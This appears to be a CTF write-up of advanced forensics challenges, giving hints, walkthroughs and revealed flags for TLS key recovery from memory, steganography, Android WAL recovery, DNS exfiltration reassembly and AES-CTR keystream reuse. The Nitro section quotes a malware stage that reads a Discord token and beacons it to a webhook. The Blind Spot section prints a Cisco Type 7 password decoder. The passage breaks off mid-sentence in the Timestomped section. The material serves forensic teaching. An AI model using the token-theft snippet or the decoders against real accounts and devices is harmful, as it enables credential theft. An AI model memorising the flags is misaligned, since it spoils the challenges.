This page covers 14 advanced forensics challenges.

Each challenge has progressive hints and a hidden flag, so you can try it yourself before
reading the walkthrough.

Purpose of the wave

Wave 3 treats each artifact as part of a system rather than an isolated file. The player may
need volatile memory to decrypt a packet capture, event logs to explain a disk artifact, a
mobile preference file to unlock appended data, or protocol knowledge to reconstruct a signal.
The difficult step is deciding which evidence source supplies the missing state.

These challenges deliberately cross boundaries between forensics, reverse engineering,
cryptography, networking, cloud logging, and hardware. The cryptographic algorithms are not
usually broken; the weakness is in key handling, nonce reuse, predictable state, exposed
runtime material, or incorrect assumptions about what an identifier guarantees.

Advanced investigation workflow

  1. Build an evidence map before extracting everything: processes, files, connections, users,
    timestamps, identifiers, and possible keys.
  2. Identify the boundary where information disappears. TLS hides application data but memory
    may retain secrets; a database hides deleted rows but its WAL may retain pages; a tensor
    hides an image because the numeric representation is wrong.
  3. Recover the smallest missing primitive first—a client random, AES key, IV, sequence index,
    password fragment, or byte order—and use it to unlock the next layer.
  4. Automate repetitive searches with bounded assumptions and log every candidate tested.
  5. Corroborate the result across sources. A timestamp, hostname, process, or request should
    agree with the surrounding incident rather than merely produce readable output.

Core tools and evidence types

Evidence Typical tools Key question
Memory and process state Volatility 3, strings, PE/.NET tooling What existed only while the program was running?
Network traffic Wireshark, tshark, Python, PyCryptodome Which session metadata or key material makes the payload readable?
Windows and endpoint triage Event logs, MFT/USN tools, browser/app parsers What sequence of execution and persistence created the artifacts?
Cloud and mobile records jq, SQLite, plist/XML inspection How do identities and timestamps correlate across platforms?
Signals and numeric data PulseView, sigrok, NumPy What representation turns samples into structured information?

Toolkit

Tool Install Used in
Volatility 3 pip install volatility3 Ephemeral, Two Keys
Wireshark / tshark apt install wireshark tshark Ephemeral, Key Recovery, Silent Exfil, Steady Pulse: Revenge
Eric Zimmerman's tools (MFTECmd, EvtxECmd) download, Windows/.NET Timestomped, Nitro
dnSpyEx / ILSpy download Ephemeral, Two Keys
scdbg download (Windows) Two Keys
zsteg, steghide gem install zsteg, apt install steghide Dead Drop, Silent Exfil
bkcrack release binaries Zip It

| Cisco Packet Tracer | Cisco Networking Academy | Blind Spot |
| jq, sqlite3, openssl | apt install jq sqlite3 openssl | Trailhead, Signal Lost |
| Python 3 + NumPy, Pillow, PyCryptodome | pip install numpy pillow pycryptodome | Ghost in the GPU, Ephemeral |

Challenge catalog

Challenge Points Files Focus
Blind Spot 700 blind-spot.pka forensics, network
Dead Drop 700 harbor.jpg, market.png chained steganography, cryptography
Ephemeral 1000 capture.pcap, memory.raw.gz forensics, network, reverse
Ghost in the GPU 1000 vram_dump.bin entropy analysis, FP16 tensors
Key Recovery 1000 agent.core, traffic.pcapng memory forensics, TLS key recovery
Nitro 1000 DESKTOP-7K2X9QP_triage.zip endpoint triage, event logs, reverse engineering
Signal Lost 1000 android_extraction.zip Android artifacts, SQLite WAL, cryptography
Silent Exfil 1000 exfil.pcapng DNS tunneling, steganography, XOR
Steady Pulse: Revenge 1000 traffic.pcap forensics, network
Timestomped 1000 timestomp_triage.zip NTFS timestamps, USN journal, Amcache
Trailhead 1000 cloudtrail.json, entra_signins.json, s3_access.log cloud logs, identity correlation
Two Keys 1000 mem.raw (RAM image) forensics, memory forensics
Zip It 700 evidence.zip, securinets.jpg ZipCrypto, known-plaintext attack

Blind Spot

Points: 700 points · Provided: blind-spot.pka

The SOC swears an operator logs into the core box every shift, but the sensor between the office LAN and the core has never once recorded that session. Something on the edge is eating the traffic before it ever gets there.

Hint 1

Read R-EDGE's config. Two separate problems stop the Telnet session from reaching the core.

Hint 2

R-CORE is locked, but R-EDGE's vty password is stored as Cisco Type 7. How strong is Type 7?

What it targets

Skill Why it matters
Reading and repairing an IOS fault chain A routing black hole plus a misapplied ACL is a realistic "traffic vanishes" incident.
Reversing Cisco Type 7 Type 7 is obfuscation, not encryption; any config leak exposes these passwords.
Proving Telnet is cleartext Simulation-mode PDU inspection shows credentials and output on the wire.

The activity opens in Cisco Packet Tracer.


Walkthrough

1. Diagnose why the operator's Telnet never reaches the core

From PC-Admin, telnet 172.16.0.1 fails. Open R-EDGE (the only router you can touch)
and read its config. There are two faults:

2. Fix the edge

R-EDGE(config)# ip route 172.16.0.0 255.255.0.0 10.0.0.2
R-EDGE(config)# ip access-list extended BLOCK_MGMT
R-EDGE(config-ext-nacl)# no deny tcp 192.168.10.0 0.0.0.255 host 172.16.0.1 eq 23

Now telnet 172.16.0.1 from PC-Admin gets a login prompt.

3. Recover the core's vty password

R-CORE is locked, so you can't read its config. But R-EDGE reuses the same password: its
own line vty carries password 7 08021C5C0C38011A43053453. Cisco Type 7 is a
reversible XOR against a fixed, public key string. The first two digits are the starting
offset into that key:

XLAT = b"dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87"

def type7_decode(h):
    seed = int(h[:2])
    return "".join(chr(int(h[i:i+2], 16) ^ XLAT[(seed + i // 2 - 1) % len(XLAT)])
                   for i in range(2, len(h), 2))

print(type7_decode("08021C5C0C38011A43053453"))   # C0reAdm1nX7

4. Get in and read it

Telnet from PC-Admin to 172.16.0.1 and log in with C0reAdm1nX7. The vty runs at
privilege 15, so you land in enable mode (R-CORE#). Run show running-config; the flag
is the description on Loopback0.

5. The capture angle

In Simulation mode, the whole Telnet exchange crosses the wire in cleartext, including
the password and the show run output with the flag. You can see it in the PDU inspector,
which is why Telnet should be replaced with SSH.

Show flag

Securinets{t3ln3t_cl34rt3xt_0v3r_th3_c0r3}


Dead Drop

Points: 700 points · Provided: harbor.jpg, market.png

Two people who "only ever swapped holiday photos" are under suspicion. We pulled two images from the exchange. Nothing in the pictures looks unusual — but nothing usually does.

Hint 1

Two formats, two techniques. Which stego tool works on PNG, and which on JPEG?

Hint 2

What zsteg finds in the PNG isn't the flag. It's a passphrase for something else.

What it targets

A stego chain: one carrier hides the key to the next. Two images, two different
techniques, and the output of the first is the input to the second. It also teaches that
file format dictates tool — zsteg reads PNG/BMP, steghide takes JPEG/BMP/WAV — so
the formats themselves tell you which tool to point where.

Skill Why it matters outside the CTF
LSB extraction with zsteg on lossless images The first thing you run on any suspect PNG/BMP
Reading zsteg's channel notation (b1,rgb,lsb,xy) Distinguishing a real payload from bit-plane noise
steghide extract with a passphrase The most common password-protected image stego
Matching technique to format Stops players running the wrong tool on the wrong file
Not stopping at the first find The chain punishes tunnel vision

Walkthrough

1. Triage both images

file market.png harbor.jpg

A PNG and a JPEG. Format matters: PNG is lossless (LSB stego survives, zsteg applies),
JPEG is lossy (LSB is destroyed by compression, so steghide's DCT-domain embedding is the
relevant technique). An experienced player already suspects zsteg→PNG, steghide→JPG.

2. LSB on the PNG

zsteg market.png
b1,rgb,lsb,xy       .. text: "tr4d3_w1nds_2019"

Plain zsteg (no -a needed) surfaces it on the standard b1,rgb,lsb,xy channel — bit
plane 1, RGB channel order, LSB, row-major pixel scan. That is exactly how the passphrase
was embedded. zsteg -a shows it too, buried among noise from the other bit planes.

This looks like a passphrase, not a flag. The player has to realise it's a key for
something else
.

3. The format steers you to the JPG

The natural next move — steghide extract -sf market.png — fails loudly:

steghide: the file format of the file "market.png" is not supported.

steghide doesn't do PNG. The only other file is harbor.jpg, which steghide does accept.
That failure is a guide rail, not a dead end.

4. steghide on the JPG with the recovered passphrase

steghide extract -sf harbor.jpg -p tr4d3_w1nds_2019
wrote extracted data to "secret.txt".
cat secret.txt
Meet at the usual place. Bring the manifest.
Securinets{tw0_st3g0s_0n3_ch41n}

The red herring

harbor.jpg carries EXIF:

GPS Latitude  : 36 deg 51' 10" N
GPS Longitude : 10 deg 19' 24" E     (Carthage ruins, Tunis)
Camera Model  : Canon EOS 200D
Date/Time     : 2019:06:14 17:42:08
Artist        : pulgaa

exiftool harbor.jpg is the first thing many players run on a JPEG, so they find the GPS
immediately. It points at a real landmark and leads nowhere — a plausible time sink that
rewards the habit of "check EXIF first" with a dead end, teaching that metadata is not the
same as payload. The camera/date fields also make the photo read as a genuine 2019 holiday
snap rather than a synthetic file.

The other zsteg bit-plane lines (b2,*, b3,* noise like "z,''''''") are incidental
distractors — real LSB-analysis clutter that a player must learn to see past to find the one
clean b1,rgb,lsb,xy line.


Alternative paths that legitimately work

No brute force needed: the passphrase is handed over by the first stage.

Show flag

Securinets{tw0_st3g0s_0n3_ch41n}


Ephemeral

Points: 1000 points · Provided: capture.pcap, memory.raw.gz

An analyst's workstation pulled a file over an HTTPS session that looks like pure noise on the wire. The session used perfect forward secrecy, so the server's key would get you nowhere — but we imaged the machine's RAM the moment it happened, and keys that are never sent still have to live somewhere.

Hint 1

The session uses ECDHE, so the server's key wouldn't help. Where else do the session keys exist?

Hint 2

Search the memory image for NSS key-log lines (CLIENT_RANDOM), load them into Wireshark, and export what was downloaded.

What it targets

Skill Why it matters
TLS keylog decryption in Wireshark An ECDHE session (PFS) is still readable if you have the keys.
Carving secrets from a memory dump SSLKEYLOGFILE contents live in the browser's RAM.
HTTP object export Recovering a transferred file from a decrypted stream.
.NET decompilation (dnSpy / ILSpy) Reading real IL, not pseudocode.
Reversing a home-rolled KDF + AES base64+reverse → XOR schedule → rotate → SHA-256 → AES-256-CBC.

The whole point: PFS protects the wire, not the endpoint. The keys were never
transmitted, but they were sitting in the process that held them.

The artifacts are inert: the flag never crosses the wire in cleartext, and the .exe will
not print it without reversing the key derivation.


Walkthrough

1. Look at the capture

capture.pcap has some background browsing noise plus one TLS conversation to
10.10.10.10:8443. Wireshark shows a TLS 1.2 handshake (ClientHello SNI =
cdn.appstore-eu.net, cipher ECDHE-RSA-AES128-GCM-SHA256) then encrypted application
data. No plaintext — and ECDHE means the server key alone wouldn't help even if you had it.
(Two base64 blobs in the noise decode to Securinets{...} decoys — ignore them.)

2. Recover the keys from RAM

gunzip memory.raw.gz → a ~2 GB raw Windows 10 physical memory image. Confirm it parses:

vol -f memory.raw windows.info          # Win10 19045, 64-bit

The workstation's TLS keys were written to an SSLKEYLOGFILE, and that file is sitting in
the file cache. Carve it with Volatility 3:

vol -f memory.raw windows.filescan | grep -i sslkeys        # find the file object
vol -f memory.raw windows.dumpfiles --pid <downloader_pid>  # or dump by pid
# -> file.*.sslkeys.log.dat  contains:  CLIENT_RANDOM <64 hex> <96 hex>

vol windows.pslist shows the downloader process (here python.exe). strings memory.raw | grep CLIENT_RANDOM also works — the keylog line is in both the cache and the process heap.
Save the CLIENT_RANDOM … line to keys.log (NSS key-log format).

3. Decrypt and export

Wireshark → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename →
keys.log, reload. The stream decrypts. File → Export Objects → HTTP shows a
download of LicenseCheck.exe. Save it — it's a .NET assembly (MZ, CLR BSJB metadata).

The exe is also sitting in the memory image's file cache, so you can carve it straight
out with Volatility instead of exporting from the pcap:

vol -f memory.raw windows.filescan | grep -i LicenseCheck   # -> \Users\bayrem\Downloads\LicenseCheck.exe @ <offset>
vol -f memory.raw windows.dumpfiles --virtaddr <offset>     # -> ...LicenseCheck.exe.dat (MZ; trim the page padding)

Either way you get a byte-identical .NET binary.

4. Reverse the derivation

Open LicenseCheck.exe in dnSpy/ILSpy. Main always calls Unseal() but only prints
the result when SHA256(arg[0]) matches a stored hash — so just running it prints
"Invalid or missing activation key." The interesting part is DeriveKey():

  1. seed = FromBase64(Reverse(S)) — reverse the embedded string S, then base64-decode → 32 bytes.
  2. seed[i] ^= (i*0x1F + 0xA5) & 0xFF — positional XOR schedule.
  3. rotate the array left by 5: r[i] = seed[(i+5) % 32].
  4. key = SHA256(r) (32 bytes → AES-256).

Unseal() then AES-256-CBC-decrypts the embedded Blob with the embedded IV.

5. Reproduce it

Pull S, Blob, IV from the decompiled source and run the four steps offline:

import base64, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
seed = base64.b64decode(S[::-1])
seed = bytes((seed[i] ^ ((i*0x1F+0xA5)&0xFF)) for i in range(32))
r = bytes(seed[(i+5)%32] for i in range(32))
key = hashlib.sha256(r).digest()
print(unpad(AES.new(key, AES.MODE_CBC, IV).decrypt(Blob), 16).decode())
# Securinets{r3v3rs3_th3_kdf_n0t_th3_tls}

(Or, having reversed the gate, run LicenseCheck.exe SEC-2026-DFIR-PRO → prints the flag.)


Summary

Further reading: decrypting TLS in Wireshark with a key log.

Show flag

Securinets{r3v3rs3_th3_kdf_n0t_th3_tls}


Ghost in the GPU

Points: 1000 points · Provided: vram_dump.bin

An ML inference job crashed on a GPU box and left a raw VRAM capture. The accelerator was scrubbed before anyone could image it properly — but this memory dump survived.

Hint 1

Nothing carves. Run an entropy sweep: where does the randomness drop?

Hint 2

0x3C00 and 0xBC00 are +1.0 and -1.0 in IEEE-754 half precision. Trust the shape in the metadata.

What it targets

There is nothing to carve — no magic bytes, no container, just device memory. The skill is
recognizing a numeric dtype from its raw byte pattern and reasoning about tensor layout.
It's strings/binwalk-proof by construction.

Skill Why it matters
Entropy sweep to find planted data in noise The whole file is CSPRNG noise; the signal is the low-entropy region
Recognizing IEEE-754 half-precision (fp16) from bytes 0x3C00/0xBC00 = +1.0/-1.0 — invisible unless you try fp16
Tensor layout reasoning (NCHW, shape) The metadata says (1,3,512,512); the element count baits a wrong 2D reshape

Walkthrough

1. Nothing carves

file vram_dump.bin → data. binwalk yields only coincidental false-positives in the noise.
Accept that there's no container.

2. Entropy sweep

Slide a 1 KB window; almost everything is ~7.99 bits/byte (random). Two regions collapse:

0x00100000  1 KB      ent ≈ 1.6   <- metadata blob (ASCII)
0x00900000  1.5 MB    ent ≈ 1.1   <- the payload (only bytes 0x00 / 0x3C / 0xBC)

3. Read the metadata, recognize the dtype

The 1 KB blob is a runtime tensor header:

{"framework":"onnxruntime-gpu","node":"decoder/conv_out/Tanh",
 "tensor_shape":[1,3,512,512],"dtype":"float16","layout":"NCHW", ...}

The 1.5 MB region hexdumps as 00 3c 00 3c ... 00 bc 00 bc — little-endian half-words
0x3C00 and 0xBC00. Those are fp16 +1.0 and -1.0. It's a normalized (Tanh-output)
activation tensor, not an image buffer.

4. Reshape and render

import numpy as np; from PIL import Image
d = open("vram_dump.bin","rb").read()
t = np.frombuffer(d[0x900000:0x900000+1*3*512*512*2], np.float16).reshape(1,3,512,512)
plane = t[0,0]                                   # NCHW -> channel 0
Image.fromarray(np.where(plane<=-0.5,0,255).astype("uint8")).save("flag.png")

-1.0 is the ink → the flag is drawn in a pixel font:

Securinets{fp16_t3ns0r_gh0st}

Trick & red herring

Show flag

Securinets{fp16_t3ns0r_gh0st}


Key Recovery

Points: 1000 points · Provided: agent.core, traffic.pcapng

A sync agent on a workstation uploaded a confidential export to an outside host over TLS 1.3. We captured the traffic, but it's encrypted end to end. Before the process was killed we grabbed a dump of it.

Hint 1

TLS 1.3 can be decrypted with the right secrets. What might a process dump still hold?

Hint 2

Grep the core for TRAFFIC_SECRET lines and match their client random to a ClientHello.

What it targets

TLS is only as private as its endpoints' memory. A capture with no keys looks hopeless —
but if you have a dump of a process that held the TLS secrets, you can rebuild an NSS keylog
and decrypt everything. This is exactly how analysts decrypt malware C2 when they have a
memory image.

Skill Why it matters outside the CTF
Recognising undecryptable TLS 1.3 in a pcap Knowing when you need out-of-band key material
Carving CLIENT_TRAFFIC_SECRET_0 etc. from a memory dump The core technique for memory-assisted TLS decryption
Building an NSS keylog + Wireshark tls.keylog_file The standard decryption workflow
Pairing keys to the right session via ClientHello random Isolating one session when a dump holds several / when there are decoys
Reading an ELF process core (strings/gdb) Everyday memory forensics

Walkthrough

1. See that the traffic is TLS 1.3 and opaque

tshark -r traffic.pcapng -Y 'tls.handshake.type==1' -T fields -e tls.handshake.random

Seven TLS sessions (a sync agent chatting to a CDN-looking host). All application data is
encrypted; there's nothing to read yet. Note there are many sessions — you'll need to
find the one that matters.

2. Realise the keys might be in the dump

agent.core is a memory dump of the process that made these connections. TLS libraries that
honour SSLKEYLOGFILE format their secrets as NSS keylog lines
(CLIENT_TRAFFIC_SECRET_0 <client_random> <secret>), and those strings can linger in the
heap. Carve them:

strings agent.core | grep -E 'TRAFFIC_SECRET|EXPORTER_SECRET' | sort -u > keylog.txt

(or grep -aoE '(CLIENT|SERVER)_(HANDSHAKE_)?TRAFFIC_SECRET_0 [0-9a-f]{64} [0-9a-f]+' agent.core)

You get the client/server application-traffic secrets (and exporter) for one
client_random.

3. Match the key to the right session

The client_random in the recovered keylog matches exactly one ClientHello in the pcap —
the real exfil session. The other six have no keys in the dump (see red herring).

4. Decrypt

tshark -r traffic.pcapng -o tls.keylog_file:keylog.txt -Y 'http.request.method=="POST"' \
  -T fields -e http.file_data | xxd -r -p

or in Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename →
keylog.txt, then Follow HTTP Stream.

AGILOGIX INTERNAL - VAULT EXPORT (CONFIDENTIAL)
...
Securinets{tls_k3ys_l1v3_1n_m3m0ry}

Only the CLIENT_TRAFFIC_SECRET_0 / SERVER_TRAFFIC_SECRET_0 pair is needed to decrypt the
application data (the POST body); the handshake secrets aren't required for the flag.


The red herring

Six of the seven sessions are undecryptable. The dump holds keys for only the real exfil
session; the others (benign "noise" lookups to cdn1/api/static/img/telemetry/assets. softsync-cdn.net, plus one decoy POST) have no matching secrets. A player who tries to
decrypt the wrong session — or assumes all sessions share keys — wastes time. The
discriminator is the client_random: match the keylog's random to the ClientHello, then
decrypt that stream. This mirrors real captures where a dump yields keys for one process/one
connection out of many.


Alternative paths that legitimately work

The keys are present in the dump in a documented format, so no guessing is needed.

Further reading: decrypting TLS in Wireshark with a key log.

Show flag

Securinets{tls_k3ys_l1v3_1n_m3m0ry}


Nitro

Points: 1000 points · Provided: DESKTOP-7K2X9QP_triage.zip

An Agilogix employee got a DM on Discord offering free Nitro. A day later his workstation DESKTOP-7K2X9QP was pulled for review — his Discord account was hijacked and something on the box had been beaconing out.

Hint 1

Start with PowerShell script-block logging (event ID 4104). What ran?

Hint 2

The second half of the flag is XORed with a key derived from something the malware stole. Find the Discord token.

What it targets

Reconstruct an intrusion from a triage collection with no pointers: pivot from execution
evidence (PowerShell script-block logging) to the dropped file, deobfuscate it, recover the
Discord token from Local Storage, carve the social-engineering lures from the Discord cache — and
realise the flag's second half needs the stolen token.

Skill Where
PowerShell script-block logging (EID 4104) Microsoft-Windows-PowerShell%4Operational.evtx — the deobfuscated stage-2 in cleartext
Process-creation / console history Security.evtx (4688), ConsoleHost_history.txt
Peeling base64 → gzip → XOR PowerShell Downloads\FreeNitroGen.ps1
Discord token from Local Storage\leveldb regex over the leveldb files
Carving lures from a Chromium Simple-Cache discord\Cache\Cache_Data\f_* (binwalk/photorec)
Zone.Identifier Mark-of-the-Web proves the CDN origin

Walkthrough

1. What ran — the event logs

Parse Microsoft-Windows-PowerShell%4Operational.evtx (EvtxECmd / Windows Event Viewer). The
4104 script-block events contain a self-decoding script FreeNitroGen.ps1 and the
deobfuscated stage-2 it Invoke-Expression'd:

$lp = "$env:APPDATA\discord\Local Storage\leveldb"     # reads the Discord token
Invoke-RestMethod ... discord.com/api/webhooks/...      # beacons it out
# reward_a = Securinets{n1tr0_g3n_w4s_f4k3               <- part A
$blob = FromBase64String("4mXsS8mrvI4l0BV2Gkmk")        # part B, locked to the token

Security.evtx (4688) and ConsoleHost_history.txt corroborate bayrem running it from Downloads.
(Or skip the logs and deobfuscate Downloads\FreeNitroGen.ps1 by hand: base64 → gunzip → XOR "nitr0".)

2. Where it came from — Mark-of-the-Web

Downloads\FreeNitroGen.ps1.Zone.Identifier →
HostUrl=https://cdn.discordapp.com/attachments/.../FreeNitroGen.ps1.

3. The con — carve the Discord cache

AppData\Roaming\discord\Cache\Cache_Data\f_0000* are Simple-Cache entries keyed by
cdn.discordapp.com/attachments/.../*.png (visible with strings); carve the bodies
(binwalk -e / photorec) → three lure PNGs: fake "Nitro gift", "how to claim", "download +
run as admin" from zyzz.

4. The token — leveldb

grep -rhoaE '[A-Za-z0-9_-]{24,26}\.[A-Za-z0-9_-]{6}\.[A-Za-z0-9_-]{27,38}' \
   "AppData/Roaming/discord/Local Storage/leveldb/"
→ MzI1NjE0OTU4MDEyMzQ1Njc4.Gk2xQp.9fW3rT5yH8jK-bN0pL4mZ7sV2cX1qA

5. Finish it — part B needs the token

import base64, hashlib
token = "MzI1NjE0OTU4MDEyMzQ1Njc4.Gk2xQp.9fW3rT5yH8jK-bN0pL4mZ7sV2cX1qA"
blob  = base64.b64decode("4mXsS8mrvI4l0BV2Gkmk")
k = hashlib.sha256(token.encode()).digest()
print(bytes(b ^ k[i] for i, b in enumerate(blob)).decode())   # st34l_th3_t0k3n

Securinets{n1tr0_g3n_w4s_f4k3_st34l_th3_t0k3n}


Trick & red herrings

Show flag

Securinets{n1tr0_g3n_w4s_f4k3_st34l_th3_t0k3n}


Signal Lost

Points: 1000 points · Provided: android_extraction.zip

We seized a phone. The suspect wiped the relevant conversation inside the messenger app before we got to it — but a filesystem extraction was taken.

Hint 1

The messenger database is in WAL mode. What does a copy of the main DB show without its -wal?

Hint 2

The referenced image won't open: check its first bytes, then look past its end marker. The app's settings hold what you need next.

What it targets

Three different "it's gone / it's hidden" mechanisms in one realistic mobile artifact, and
the discipline that mobile forensics actually demands.

Skill Why it matters outside the CTF
SQLite WAL internals: uncheckpointed changes live in -wal, not the main DB The #1 source of "deleted" chat messages on modern phones
Evidence preservation — never open the original with a writing tool The single most common way analysts destroy their own evidence
Repairing file magic bytes / spotting a wrong extension Recovering renamed or partially-wiped media
Appended-data carving after a container's real end marker Classic file-in-file stego
Pulling secrets from Android shared_prefs XML Where apps really keep tokens/pins

Walkthrough

1. SQLite WAL — recover the wiped message

The chat thread in databases/msgstore.db looks clean when opened normally, because the app
is in WAL mode and the deletion was committed to the -wal but never checkpointed into
the main database. Opening the DB the ordinary way replays the WAL → the row stays hidden.

The move: set the -wal (and -shm) aside and open the main file alone. With no WAL to
replay, SQLite shows the last checkpointed state — which still contains the deleted row.

cp databases/msgstore.db recovery.db        # main file ONLY - no -wal, no -shm
sqlite3 recovery.db "SELECT sender, body, media_name FROM message WHERE media_name IS NOT NULL;"
pulgaa|IMG-20190614-WA0007.jpg - the pin is saved in the app settings like always|IMG-20190614-WA0007.jpg

Two things fall out: the filename IMG-20190614-WA0007.jpg, and the hint that the
pin is in the app settings (→ shared_prefs).

Preserve first. Opening the original msgstore.db in a GUI such as DB Browser can
checkpoint the WAL, which writes the deletion into the main file and destroys the row for
good. Always work on copies. This is the core mobile-forensics lesson, and it's easy to
trip over.

2. The referenced file won't open

file Media/IMG-20190614-WA0007.jpg
Media/IMG-20190614-WA0007.jpg: data          # not a JPEG at all
xxd Media/IMG-20190614-WA0007.jpg | head -2
00000000: 0000 0000 0000 0000 0000 000d 4948 4452   ............IHDR
00000010: 0000 01bf 0000 01bf 0802 0000 0047 714e   .............GqN

The .jpg name is a lie, and the first 8 bytes are zeroed — but IHDR at offset 12 is the
PNG header chunk. This is a PNG with a destroyed signature. Restore the 8 magic bytes:

printf '\x89PNG\r\n\x1a\n' | dd of=Media/IMG-20190614-WA0007.jpg bs=1 count=8 conv=notrunc
file Media/IMG-20190614-WA0007.jpg
PNG image data, 447 x 447, 8-bit/color RGB, non-interlaced       # opens now

3. Appended blob → decrypt with the prefs pin

The repaired PNG has extra data after its IEND end-of-image chunk. Carve it:

python3 -c "d=open('Media/IMG-20190614-WA0007.jpg','rb').read(); i=d.rfind(b'IEND')+8; open('blob.enc','wb').write(d[i:])"
xxd blob.enc | head -1        # 'Salted__' -> OpenSSL encryption

The pin and cipher come from shared_prefs:

grep -oP '(media_vault_pin|backup_cipher)">\K[^<]+' shared_prefs/com.agilogix.messenger_preferences.xml
# 4471-vault   /   aes-256-cbc
openssl enc -d -aes-256-cbc -pbkdf2 -in blob.enc -pass pass:4471-vault
Securinets{wal_r3wind_m4g1c_by73s_st3g0}

(binwalk/foremost also flag the Salted__ trailer, so carving has more than one route.)


The red herring

Media/IMG-20190612-WA0003.jpg is a valid PNG (mislabeled .jpg) that opens
immediately — unlike the real target, which is broken. A player who lists the media folder
and opens the one that works sees a legitimate-looking image with nothing appended
(zero bytes after IEND) and no connection to the recovered filename. It's the "thumbnail
cache" decoy: the working file is the trap, the broken file is the goal.


Alternative paths that legitimately work

No guessing: the pin is handed over by shared_prefs, the cipher is named there too.

Show flag

Securinets{wal_r3wind_m4g1c_by73s_st3g0}


Silent Exfil

Points: 1000 points · Provided: exfil.pcapng

Data left this network without a single file transfer showing up in the logs. All we have is a packet capture from the segment. Whatever was taken, it went out quietly.

Hint 1

The exfil queries are numbered. Is capture order the same as data order?

Hint 2

The reassembled file is an image with more hidden inside it, and the key is in a different DNS record type.

What it targets

DNS tunneling with real-world friction (reordering) plus a stego+crypto tail. Teaches that
reassembly order matters, that carved blobs can carry more (stego), and that keys are often
hiding in the same capture (the TXT record).

Skill Why it matters
DNS-exfil reassembly with a sequence field Real tunnels reorder; capture order ≠ data order
base32 decoding to a file Common DNS-safe encoding
LSB extraction (zsteg) Recovering a payload from a carved image
Finding a key in a TXT record Keys frequently ship alongside the data
Chaining stages Each output is the next input

Walkthrough

Stage 1 — reassemble the DNS exfil (in order)

Filter the exfil queries (many NNN.<BASE32>.sync.datasync-cdn.net under one domain, amid
benign DNS/HTTP/ARP noise). They're out of order — each label starts with a 3-digit
sequence number.

tshark -r exfil.pcapng -Y 'dns.flags.response==0 && dns.qry.name contains "sync.datasync-cdn.net"' \
  -T fields -e dns.qry.name | sort -u | grep -E '^[0-9]{3}\.' \
  | sort -n -t. -k1 | sed -E 's/^[0-9]+\.([A-Z2-7]+)\..*/\1/' | tr -d '\n' > b32.txt
python3 -c "import base64;s=open('b32.txt').read().strip();s+='='*((8-len(s)%8)%8);open('out.png','wb').write(base64.b32decode(s))"
file out.png     # -> PNG image data, 64 x 16

The trick: reassembling in capture order (not sorted by the seq prefix) yields bytes
that are not a valid PNG — so a naive "concatenate everything" fails. Sorting by the
leading number is mandatory.

Stage 2 — LSB-extract the ciphertext

zsteg -E b1,rgb,lsb,xy out.png > lsb.bin

The payload is [2-byte length][ciphertext]: read the length, then take that many bytes.

Stage 3 — the key is in a TXT record

tshark -r exfil.pcapng -Y dns.txt -T fields -e dns.txt      # -> tr41lw1nd

XOR the ciphertext with the key, repeating the key. Trying both byte orders for the length
prefix avoids guessing it:

lsb, key = open("lsb.bin", "rb").read(), b"tr41lw1nd"
for order in ("big", "little"):
    n = int.from_bytes(lsb[:2], order)
    pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(lsb[2:2 + n]))
    if pt.startswith(b"Securinets{"):
        print(pt.decode())
Securinets{0rd3r_th3n_st3g0_th3n_x0r}

The red herrings / friction


Alternative paths

No guessing — sequence numbers give the order, the TXT record gives the key.

Show flag

Securinets{0rd3r_th3n_st3g0_th3n_x0r}


Steady Pulse: Revenge

Points: 1000 points · Provided: traffic.pcap

The workstation came back from reimaging clean. A few weeks later the same feeling crept back in: same box, same quiet, same rhythm.

Hint 1

The key is no longer in the first check-in. Compare the POST bodies byte by byte: what do the identical polls tell you?

Hint 2

Same key and same starting counter for every package means a reused CTR keystream. Known plaintext in one package decrypts the others.

The flaw: AES-CTR keystream reuse (many-time pad)

Every Demon package is AES-256-CTR, and the agent resets the counter to the same IV for
every package with a constant session key. So byte i of every package is encrypted with
the same keystream byte: C1 ⊕ C2 = P1 ⊕ P2. Recover the keystream once, decrypt all.

How players notice (the visible tells)

Lining up the POST bodies in hex gives it away:

#  len  body (first bytes)
0  221  1a2b3c4d 08dbe138 85e882d3 ...   registration (cmd 99)
1   12  1a2b3c4d 08dbe1e9 85e882b1       poll
2   38  1a2b3c4d 08dbe1f3 85e882a4 ...   output (cmd 20)
3   12  1a2b3c4d 08dbe1e9 85e882b1       poll  (identical to #1)
4  111  1a2b3c4d 08dbe18a 85e882a4 ...   output (cmd 20)
5   12  1a2b3c4d 08dbe1e9 85e882b1       poll  (identical)
6  181  1a2b3c4d 08dbe140 85e882a4 ...   output (cmd 20) — flag
7   12  1a2b3c4d 08dbe1e9 85e882b1       poll  (identical)
  1. Revenge framing. Players who solved Steady Pulse look for the key blob in the first
    check-in. It's gone (the body is 48 bytes shorter). So: what other mistake was there?
  2. Four byte-identical poll bodies. Repeated plaintext → repeated ciphertext means the
    encryption is deterministic: same key + same starting counter every time.
  3. Shared columns. Every body has 08dbe1 at bytes 4–6 and 85e882 at 8–10; only the
    size byte differs, and all cmd-20 beacons share 85e882a4. Same position, same keystream.
  4. Searching "AES CTR reused IV" / "many-time pad" leads to the method.

Walkthrough

1. Frame each package

AgentID(4) + AES-CTR( Size(4) | CommandID(4) | payload ).

2. Get free keystream from a poll

A poll's plaintext is Size=0 | CommandID=1, so XORing it with the poll ciphertext gives
keystream[0:8].

3. Extend the keystream from the registration beacon

Reconstruct Havoc's public DEMON metadata
(DEMON\x00host=WKS-FIN-07;user=cha9chamboula;domain=SECURINETS;os=Windows 10 Pro 19045;...;
the user and IP are confirmed by the whoami/ipconfig beacons). That yields about 217 bytes
of keystream. Without the full metadata, crib-drag host=, ;user=, Windows,
C:\Users\, ---- and .txt across the XOR of two ciphertexts.

4. Decrypt the loot beacon (package 6)

C:\Users\cha9chamboula\Documents\handover.txt
----------------------------------------
vault rotation done. temp creds below:
Securinets{k3ystr34m_r3use_breaks_ctr}

The whole attack needs only the pcap: the key itself is never recovered, only the keystream.

Show flag

Securinets{k3ystr34m_r3use_breaks_ctr}


Timestomped

Points: 1000 points · Provided: timestomp_triage.zip

An internal host was staged for a data theft. Before exfil, the operator tried to hide the staging folder in plain sight: every file in it looks like it has been sitting there for years.

Hint 1

NTFS keeps two sets of timestamps per file. Which set can user-mode tools change?

Hint 2

Compare $SI and $FN creation times, then confirm with the USN journal. Not every $SI < $FN gap is malicious.

What it targets

Detecting timestomping, not recovering deleted data. SetFileTime (the API behind every
